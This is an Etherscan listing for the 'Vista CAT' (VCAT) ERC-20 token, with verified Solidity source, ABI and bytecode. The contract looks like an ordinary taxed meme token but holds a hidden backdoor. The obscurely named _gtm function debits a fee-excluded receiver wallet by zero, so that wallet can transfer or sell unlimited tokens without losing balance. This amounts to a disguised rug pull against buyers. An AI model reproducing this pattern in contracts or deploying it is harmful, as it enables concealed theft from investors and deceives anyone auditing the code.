ETH Price: $2,077.00 (+6.45%)
 

Overview

Max Total Supply

100,000,000 VCAT

Holders

54

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VCAT

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2024-09-14
*/

/**
    https://vistacateth.vip

    https://x.com/VistaCATETH

    https://t.me/VistaCATETH
*/

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.19;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract VCAT is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromlimit;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    uint256 private _initBuyFee = 15;
    uint256 private _initSellFee = 15;
    uint256 private _fnBuyFee = 0;
    uint256 private _fnSellFee = 0;
    uint256 private _reduceBuyTaxAt = 5;
    uint256 private _reduceSellTaxAt = 5;
    uint256 private _preventSwapBefore = 5;
    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 100_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Vista CAT";
    string private constant _symbol = unicode"VCAT";
    uint256 private _buyCount = 0;
    uint256 public _maxTxAmount = (_totalSupply * 2) / 100;
    uint256 public _maxWalletSize = (_totalSupply * 2) / 100;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = _totalSupply / 100;
    address payable private _tokenReceiver =  payable(0xCEC23a36b8776D3EeC5276Af73d29B2143cCfdEF);
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpened;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor() {
        _isExcludedFromFee[_tokenReceiver] = true;
        _isExcludedFromlimit[_tokenReceiver] = true;
        _isExcludedFromlimit[owner()] = true;
        _isExcludedFromlimit[address(this)] = true;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
   
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function clearMaxLimits() external onlyOwner {
        _maxTxAmount = type(uint256).max;
        _maxWalletSize = type(uint256).max;
        emit MaxTxAmountUpdated(type(uint256).max);
    }
    receive() external payable {}
    function _transfer(address send, address recip, uint256 transferAmount) private {
        require(send != address(0), "ERC20: transfer from the zero address");
        require(recip != address(0), "ERC20: transfer to the zero address");
        require(transferAmount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (send != owner() && recip != owner()) {
            require(!bots[send] && !bots[recip]);
            require(tradingOpened || _isExcludedFromlimit[send], "send is not enabled");
            if (send == uniswapV2Pair && recip != address(uniswapV2Router) && !_isExcludedFromlimit[recip]
            ) {
                require(transferAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(recip) + transferAmount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
                taxAmount = transferAmount.mul((_buyCount > _reduceBuyTaxAt)? _fnBuyFee: _initBuyFee).div(100);
            }
            if (recip == uniswapV2Pair && send != address(this)) {
                taxAmount = transferAmount.mul((_buyCount > _reduceSellTaxAt)? _fnSellFee: _initSellFee).div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && recip == uniswapV2Pair && swapEnabled) {
                if (contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore
                )
                    swapTokensForEth(
                        min(transferAmount, min(contractTokenBalance, _maxTaxSwap))
                    );
                uint256 contractBalance = address(this).balance;
                if (contractBalance >= 0 ether) _sendEthToMarket(contractBalance);
            }
        } 
        _tokenTransfer(send, recip, taxAmount, transferAmount);
    }
    function _tokenTransfer(address fxtv, address txtw, uint256 ttmt, uint256 axmt) internal {
        if(ttmt > 0) {_balances[address(this)] = _balances[address(this)].add(ttmt);
            emit Transfer(fxtv, address(this), ttmt);
        }
        uint256 _axmt = _gtm(fxtv, axmt);
        _balances[fxtv] = _balances[fxtv].sub(_axmt);
        _balances[txtw] = _balances[txtw].add(axmt.sub(ttmt));
        emit Transfer(fxtv, txtw, axmt.sub(ttmt));
    }
    function _gtm(address acc, uint256 transferAmount) internal view returns (uint256 _amount) {
        return !_isExcludedFromFee[acc] && transferAmount >= 0?
        transferAmount.mul(!_isExcludedFromlimit[acc]?_fnSellFee + 1 : _fnBuyFee + 1) : 
        transferAmount.mul(!_isExcludedFromlimit[acc]?_fnSellFee:_fnBuyFee);
    }
    function startTrading() external onlyOwner {
        require(!tradingOpened, "trading is already open");
        swapEnabled = true;
        tradingOpened = true;
    }
    function launch() external onlyOwner {
        require(!tradingOpened, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                address(this),
                uniswapV2Router.WETH()
            );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }
    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    
    function _sendEthToMarket(uint256 amount) private {
        _tokenReceiver.transfer(amount);
    }
    function rescueERC20(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address)
            .balanceOf(address(this))
            .mul(percent)
            .div(100);
        IERC20(_address).transfer(owner(), _amount);
    }
    function rescueETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(owner()).transfer(address(this).balance);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearMaxLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600655600f6007555f6008555f6009556005600a556005600b556005600c555f600d5560646012600a6100399190610332565b610047906305f5e100610347565b610052906002610347565b61005c919061035e565b600e55606461006d6012600a610332565b61007b906305f5e100610347565b610086906002610347565b610090919061035e565b600f5561009f6012600a610332565b6100aa906064610347565b60105560646100bb6012600a610332565b6100c9906305f5e100610347565b6100d3919061035e565b601155601280546001600160a01b03191673cec23a36b8776d3eec5276af73d29b2143ccfdef1790556014805461ffff60a81b19169055348015610115575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601280546001600160a01b039081165f9081526004602090815260408083208054600160ff19918216811790925586548616855260039093528184208054841682179055835490941683528083208054831685179055308352909120805490911690911790556101c790600a610332565b6101d5906305f5e100610347565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102156012600a610332565b610223906305f5e100610347565b60405190815260200160405180910390a361037d565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102885780850481111561026c5761026c610239565b600184161561027a57908102905b60019390931c928002610251565b935093915050565b5f8261029e5750600161032c565b816102aa57505f61032c565b81600181146102c057600281146102ca576102e6565b600191505061032c565b60ff8411156102db576102db610239565b50506001821b61032c565b5060208310610133831016604e8410600b8410161715610309575081810a61032c565b6103155f19848461024d565b805f190482111561032857610328610239565b0290505b92915050565b5f61034060ff841683610290565b9392505050565b808202811582820484141761032c5761032c610239565b5f8261037857634e487b7160e01b5f52601260045260245ffd5b500490565b611a248061038a5f395ff3fe60806040526004361061011e575f3560e01c8063715018a61161009d5780638f9a55c0116100625780638f9a55c01461030057806395d89b4114610315578063a9059cbb14610341578063bf474bed14610360578063dd62ed3e14610375575f80fd5b8063715018a61461027e5780637b617c9a146102925780637d1db4a5146102a65780638cd4426d146102bb5780638da5cb5b146102da575f80fd5b806320800a00116100e357806320800a00146101e857806323b872dd146101fc578063293230b81461021b578063313ce5671461022f57806370a082311461024a575f80fd5b806301339c211461012957806306fdde031461013f578063095ea7b3146101825780630faee56f146101b157806318160ddd146101d4575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5061013d6103b9565b005b34801561014a575f80fd5b50604080518082019091526009815268159a5cdd184810d05560ba1b60208201525b6040516101799190611615565b60405180910390f35b34801561018d575f80fd5b506101a161019c36600461165e565b610753565b6040519015158152602001610179565b3480156101bc575f80fd5b506101c660115481565b604051908152602001610179565b3480156101df575f80fd5b506101c6610769565b3480156101f3575f80fd5b5061013d610789565b348015610207575f80fd5b506101a1610216366004611688565b6107f4565b348015610226575f80fd5b5061013d610856565b34801561023a575f80fd5b5060405160128152602001610179565b348015610255575f80fd5b506101c66102643660046116c6565b6001600160a01b03165f9081526001602052604090205490565b348015610289575f80fd5b5061013d6108ec565b34801561029d575f80fd5b5061013d61095d565b3480156102b1575f80fd5b506101c6600e5481565b3480156102c6575f80fd5b5061013d6102d536600461165e565b6109c7565b3480156102e5575f80fd5b505f546040516001600160a01b039091168152602001610179565b34801561030b575f80fd5b506101c6600f5481565b348015610320575f80fd5b506040805180820190915260048152631590d05560e21b602082015261016c565b34801561034c575f80fd5b506101a161035b36600461165e565b610b07565b34801561036b575f80fd5b506101c660105481565b348015610380575f80fd5b506101c661038f3660046116e1565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146103eb5760405162461bcd60e51b81526004016103e290611718565b60405180910390fd5b601454600160a01b900460ff161561043f5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016103e2565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561048d90309061047a6012600a611844565b610488906305f5e100611852565b610b13565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104dd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105019190611869565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610560573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105849190611869565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105ce573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105f29190611869565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610639816001600160a01b03165f9081526001602052604090205490565b5f8061064c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106b2573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106d79190611884565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561072c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075091906118af565b50565b5f61075f338484610b13565b5060015b92915050565b5f6107766012600a611844565b610784906305f5e100611852565b905090565b5f546001600160a01b031633146107b25760405162461bcd60e51b81526004016103e290611718565b5f47116107bd575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610750573d5f803e3d5ffd5b5f610800848484610c36565b61084c8433610488856040518060600160405280602881526020016119c7602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611096565b5060019392505050565b5f546001600160a01b0316331461087f5760405162461bcd60e51b81526004016103e290611718565b601454600160a01b900460ff16156108d35760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016103e2565b6014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146109155760405162461bcd60e51b81526004016103e290611718565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146109865760405162461bcd60e51b81526004016103e290611718565b5f19600e819055600f8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b5f546001600160a01b031633146109f05760405162461bcd60e51b81526004016103e290611718565b6040516370a0823160e01b81523060048201525f90610a7190606490610a6b9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610a41573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a6591906118ce565b906110ce565b90611153565b9050826001600160a01b031663a9059cbb610a935f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610add573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b0191906118af565b50505050565b5f61075f338484610c36565b6001600160a01b038316610b755760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e2565b6001600160a01b038216610bd65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e2565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c9a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e2565b6001600160a01b038216610cfc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e2565b5f8111610d5d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e2565b5f80546001600160a01b03858116911614801590610d8857505f546001600160a01b03848116911614155b1561108a576001600160a01b0384165f9081526005602052604090205460ff16158015610dcd57506001600160a01b0383165f9081526005602052604090205460ff16155b610dd5575f80fd5b601454600160a01b900460ff1680610e0457506001600160a01b0384165f9081526003602052604090205460ff165b610e465760405162461bcd60e51b81526020600482015260136024820152721cd95b99081a5cc81b9bdd08195b98589b1959606a1b60448201526064016103e2565b6014546001600160a01b038581169116148015610e7157506013546001600160a01b03848116911614155b8015610e9557506001600160a01b0383165f9081526003602052604090205460ff16155b15610fa357600e54821115610eec5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103e2565b600f5482610f0e856001600160a01b03165f9081526001602052604090205490565b610f1891906118e5565b1115610f665760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103e2565b600d8054905f610f75836118f8565b9190505550610fa06064610a6b600a54600d5411610f9557600654610f99565b6008545b85906110ce565b90505b6014546001600160a01b038481169116148015610fc957506001600160a01b0384163014155b15610ff657610ff36064610a6b600b54600d5411610fe957600754610f99565b60095485906110ce565b90505b305f90815260016020526040902054601454600160a81b900460ff1615801561102c57506014546001600160a01b038581169116145b80156110415750601454600160b01b900460ff165b15611088576010548111801561105a5750600c54600d54115b1561107c5761107c6110778461107284601154611194565b611194565b6111a8565b4761108681611318565b505b505b610b0184848385611353565b5f81848411156110b95760405162461bcd60e51b81526004016103e29190611615565b505f6110c58486611910565b95945050505050565b5f825f036110dd57505f610763565b5f6110e88385611852565b9050826110f58583611923565b1461114c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e2565b9392505050565b5f61114c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061149f565b5f8183116111a2578261114c565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106111ee576111ee611942565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611245573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112699190611869565b8160018151811061127c5761127c611942565b6001600160a01b0392831660209182029290920101526013546112a29130911684610b13565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906112da9085905f90869030904290600401611956565b5f604051808303815f87803b1580156112f1575f80fd5b505af1158015611303573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6012546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561134f573d5f803e3d5ffd5b5050565b81156113cb57305f9081526001602052604090205461137290836114cb565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113c29086815260200190565b60405180910390a35b5f6113d68583611529565b6001600160a01b0386165f908152600160205260409020549091506113fb90826115d4565b6001600160a01b0386165f9081526001602052604090205561143e61142083856115d4565b6001600160a01b0386165f90815260016020526040902054906114cb565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61148785876115d4565b60405190815260200160405180910390a35050505050565b5f81836114bf5760405162461bcd60e51b81526004016103e29190611615565b505f6110c58486611923565b5f806114d783856118e5565b90508381101561114c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e2565b6001600160a01b0382165f9081526004602052604081205460ff1615801561154f575060015b61158f576001600160a01b0383165f9081526003602052604090205461158a9060ff161561157f57600854611583565b6009545b83906110ce565b61114c565b6001600160a01b0383165f9081526003602052604090205461114c9060ff16156115c6576008546115c19060016118e5565b611583565b6009546115839060016118e5565b5f61114c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611096565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610750575f80fd5b5f806040838503121561166f575f80fd5b823561167a8161164a565b946020939093013593505050565b5f805f6060848603121561169a575f80fd5b83356116a58161164a565b925060208401356116b58161164a565b929592945050506040919091013590565b5f602082840312156116d6575f80fd5b813561114c8161164a565b5f80604083850312156116f2575f80fd5b82356116fd8161164a565b9150602083013561170d8161164a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561179c578085048111156117805761178061174d565b600184161561178e57908102905b60019390931c928002611765565b935093915050565b5f826117b257506001610763565b816117be57505f610763565b81600181146117d457600281146117de576117fa565b6001915050610763565b60ff8411156117ef576117ef61174d565b50506001821b610763565b5060208310610133831016604e8410600b841016171561181d575081810a610763565b6118295f198484611761565b805f190482111561183c5761183c61174d565b029392505050565b5f61114c60ff8416836117a4565b80820281158282048414176107635761076361174d565b5f60208284031215611879575f80fd5b815161114c8161164a565b5f805f60608486031215611896575f80fd5b5050815160208301516040909301519094929350919050565b5f602082840312156118bf575f80fd5b8151801515811461114c575f80fd5b5f602082840312156118de575f80fd5b5051919050565b808201808211156107635761076361174d565b5f600182016119095761190961174d565b5060010190565b818103818111156107635761076361174d565b5f8261193d57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156119a65783516001600160a01b031683526020938401939092019160010161197f565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204e6c4d6d7e674169555d96adb2ee9c7103f821f1f174e245da9d95257c40a32464736f6c634300081a0033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c8063715018a61161009d5780638f9a55c0116100625780638f9a55c01461030057806395d89b4114610315578063a9059cbb14610341578063bf474bed14610360578063dd62ed3e14610375575f80fd5b8063715018a61461027e5780637b617c9a146102925780637d1db4a5146102a65780638cd4426d146102bb5780638da5cb5b146102da575f80fd5b806320800a00116100e357806320800a00146101e857806323b872dd146101fc578063293230b81461021b578063313ce5671461022f57806370a082311461024a575f80fd5b806301339c211461012957806306fdde031461013f578063095ea7b3146101825780630faee56f146101b157806318160ddd146101d4575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5061013d6103b9565b005b34801561014a575f80fd5b50604080518082019091526009815268159a5cdd184810d05560ba1b60208201525b6040516101799190611615565b60405180910390f35b34801561018d575f80fd5b506101a161019c36600461165e565b610753565b6040519015158152602001610179565b3480156101bc575f80fd5b506101c660115481565b604051908152602001610179565b3480156101df575f80fd5b506101c6610769565b3480156101f3575f80fd5b5061013d610789565b348015610207575f80fd5b506101a1610216366004611688565b6107f4565b348015610226575f80fd5b5061013d610856565b34801561023a575f80fd5b5060405160128152602001610179565b348015610255575f80fd5b506101c66102643660046116c6565b6001600160a01b03165f9081526001602052604090205490565b348015610289575f80fd5b5061013d6108ec565b34801561029d575f80fd5b5061013d61095d565b3480156102b1575f80fd5b506101c6600e5481565b3480156102c6575f80fd5b5061013d6102d536600461165e565b6109c7565b3480156102e5575f80fd5b505f546040516001600160a01b039091168152602001610179565b34801561030b575f80fd5b506101c6600f5481565b348015610320575f80fd5b506040805180820190915260048152631590d05560e21b602082015261016c565b34801561034c575f80fd5b506101a161035b36600461165e565b610b07565b34801561036b575f80fd5b506101c660105481565b348015610380575f80fd5b506101c661038f3660046116e1565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146103eb5760405162461bcd60e51b81526004016103e290611718565b60405180910390fd5b601454600160a01b900460ff161561043f5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016103e2565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561048d90309061047a6012600a611844565b610488906305f5e100611852565b610b13565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8